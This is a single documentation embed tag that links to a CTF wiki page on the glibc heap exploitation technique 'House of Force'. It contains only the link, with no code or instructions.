{% embed url="<https://github.com/mahaloz/ctf-wiki-en/blob/master/docs/pwn/linux/glibc-heap/house_of_force.md>" %}
